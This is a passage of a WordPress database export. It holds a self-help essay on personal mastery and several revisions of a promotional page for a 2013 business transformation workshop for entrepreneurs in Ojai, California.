their destiny. It’s safer to fit in, be nice and maintain a steady job with your weekends free.\r\n<h2>You become the master of your destiny the very second you proclaim it. Nobody is going to acknowledge or bestow on you the powers of mastery.</h2>\r\nMastery is a choice you make for yourself about the quality of your presence demonstrated through your own thoughts, actions and behavior. And you can’t behave like a master until you recognize and appreciate the source of your own mastery–which has been with you since your birth.\r\n\r\n<strong>The signs that guide the way.</strong>\r\n\r\nWhether you know it or not, you are the hero of your life journey. The hero’s journey still requires navigational aides or signs along the way that reinforce the belief and self-awareness that you are indeed walking your own master’s path. Like a lighthouse on a rocky shore, this navigational beacon will never come from the acknowledgments of the outside world. The direction signs come from within you. I like to call it your  “true north” or “oneliness”– a.k.a., your purpose or reason for being.\r\n\r\nOn the road to mastery, to keep the compass needle pointing true north, you must acknowledge and follow your own natural inclinations and listen to the voice of your intuition. For many people, it’s a voice stilled by decades of conformity, shoe-horning their life to fit into somebody else’s mold or prescription for how things ought to be done. Parents, teachers, bosses, the culture, even our own failures conspire to divert us from trusting the path of our own natural inclinations.\r\n\r\nParadoxically, life mastery is unattainable. Mastery is a life-long process, a path of fuller and greater expression to be traveled indefinitely… it’s not a status level or place of arrival. There’s only one place we are all destined for– oblivion (whatever that means to you).  Assuming you agree with that premise, the only thing there is to master is your own hero’s journey. How ever long it takes. Life’s mastery (whatever the term means to you) is your Life’s Work… you’re here to be the fullest expression of your life. That’s your job, your real business–to forever pursue the mastery of your own calling.\r\n\r\n<strong>After you, they threw out the mold.</strong>\r\n\r\nThere is only one you. There has never before been one like you, nor will their ever be another like you. You are forever the only one of you. Embedded in your DNA are the unique, never-to be-duplicated codes for every aspect of your unique potential.\r\n\r\nThis includes, of course, your magnificent brain– a complex and sophisticated reality producing interface device that is the product of 6 million years of evolution. And you have come to this life with the code of your natural inclinations hard-wired right into your amazing brain. Your brain is capable of constructing any formless idea of your limitless potential. Your natural inclinations are the clues for your masterful achievements. You have only to discover and use them.\r\n\r\nThese natural inclinations must have their due or your depression and unhappiness will have no end. Success will always be elusive.\r\n\r\n<strong>Let’s get down to business.</strong>\r\n\r\nMost entrepreneurs and solo professionals are stuck on a plateau of one sort or another–a place where they experience resistance, or the stagnation of a fuller expression of their natural inclinations. Many believe mastery is, for whatever reason, beyond their grasp.\r\n\r\nEverything in nature is governed by the “law of increase”, likewise, mastery will require you to continually increase your knowledge and your contribution of value to the world. Like gravity, this creative force within you is always on. It’s absolutely imperative that you spend all your “time” engaged in your natural inclinations–those thoughts, ideas, activities and skills that bring you a never-ending source of energy, creativity and joy to innovate new value for your customers and clients.\r\n\r\nWhen you follow the code of your embedded natural inclinations, embrace the value of your oneliness, and commit yourself to mastery of your Life’s Work, you’ll find the plateaus of your business or professional life as nothing more than the welcome stairway to greater expression and fulfillment.  Your realization of your mastery becomes an ever expanding and self-fulfilling prophecy.', 'In Search of Mastery', 0, '', 'publish', 'open', 'open', '', 'in-search-of-mastery', '', '', '2013-05-28 12:52:57', '2013-05-28 19:52:57', '', 0, 'http://www.whitehotcenter.com/?p=2307', 0, 'post', '', 0),
(2260, 2, '2013-05-20 13:13:16', '2013-05-20 20:13:16', '<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong><span style="color: #dd9703;">\r\nStrategies for Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage for Early-Stage Entrepreneurs\r\n<span style="color: #000000;">November, 2013</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2>A one-day intensive business transformation workshop designed to guide early stage creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</h2>\r\n<h1><span style="color: #808080;">\r\nWithout sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h1>\r\n&nbsp;\r\n\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle finding a steady stream of higher value clients. Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\n</strong>Let’s face it, when clients have abundant choice, competition is always fierce. How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all early-stage creative entreprenuers who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2013-05-20 13:13:16', '2013-05-20 20:13:16', '', 145, 'http://www.whitehotcenter.com/2013/05/145-revision-135/', 0, 'revision', '', 0),
(2261, 2, '2013-05-22 20:49:31', '2013-05-23 03:49:31', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, November 8th 2013.</span></h1>\r\n<h2>Take your business to the next level and beyond. Build the foundation of your success and create more impact, influence and income in less time than you ever thought possible!</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2295" title="Thomson Dawson Quantum Leap" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-51.jpg" alt="" width="495" height="306" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong><span style="color: #000000;">Early Registration</span>\r\nSend me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'publish', 'open', 'open', '', 'break-the-plateau-effect-and-transform-your-business-for-a-bigger-future', '', '', '2013-05-30 13:33:18', '2013-05-30 20:33:18', '', 0, 'http://www.whitehotcenter.com/?p=2261', 0, 'post', '', 0),
(2318, 2, '2013-05-30 13:32:03', '2013-05-30 20:32:03', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, November 8th 2013.</span></h1>\r\n<h2>Take your business to the next level and beyond. Create more impact, influence and income in less time than you ever thought possible!</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2295" title="Thomson Dawson Quantum Leap" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-51.jpg" alt="" width="495" height="306" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong><span style="color: #000000;">Early Registration</span>\r\nSend me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-30', '', '', '2013-05-30 13:32:03', '2013-05-30 20:32:03', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-30/', 0, 'revision', '', 0),
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(2264, 2, '2013-05-22 09:52:18', '2013-05-22 16:52:18', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1>Quantum Leap Business Transformation Workshop 2013</h1>\n<h1>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h1>\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage.</strong>\n\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\n\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\n\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\n\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\n\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-       Building your brand and elevating the quality of your presence in the marketplace.\n\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held in early November 2013. Actual date will lock in on or before August 1, 2013\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\n\n<strong>Investment:</strong>\n\n$895.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\n\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-2', '', '', '2013-05-22 09:52:18', '2013-05-22 16:52:18', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-2/', 0, 'revision', '', 0),
(2263, 2, '2013-05-22 09:51:18', '2013-05-22 16:51:18', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1>Quantum Leap Business Transformation Workshop 2013</h1>\n<h1>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h1>\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage.</strong>\n\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\n\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\n\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\n\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\n\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-       Building your brand and elevating the quality of your presence in the marketplace.\n\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held in early November 2013. Actual date will lock in on or before August 1, 2013\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\n\n<strong>Investment:</strong>\n\n$895.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\n\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n\n<strong>Early Registration</strong>\n\n<strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong>\n<h1><strong>Early Register is Open Now!</strong></h1>\n&nbsp;\n\n&nbsp;\n\n-\n\n-\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision', '', '', '2013-05-22 09:51:18', '2013-05-22 16:51:18', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision/', 0, 'revision', '', 0),
(2267, 2, '2013-05-22 09:56:32', '2013-05-22 16:56:32', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop 2013</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\r\n\r\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\r\n\r\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\r\n\r\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\r\n\r\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand and elevating the quality of your presence in the marketplace.\r\n\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$895.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-5', '', '', '2013-05-22 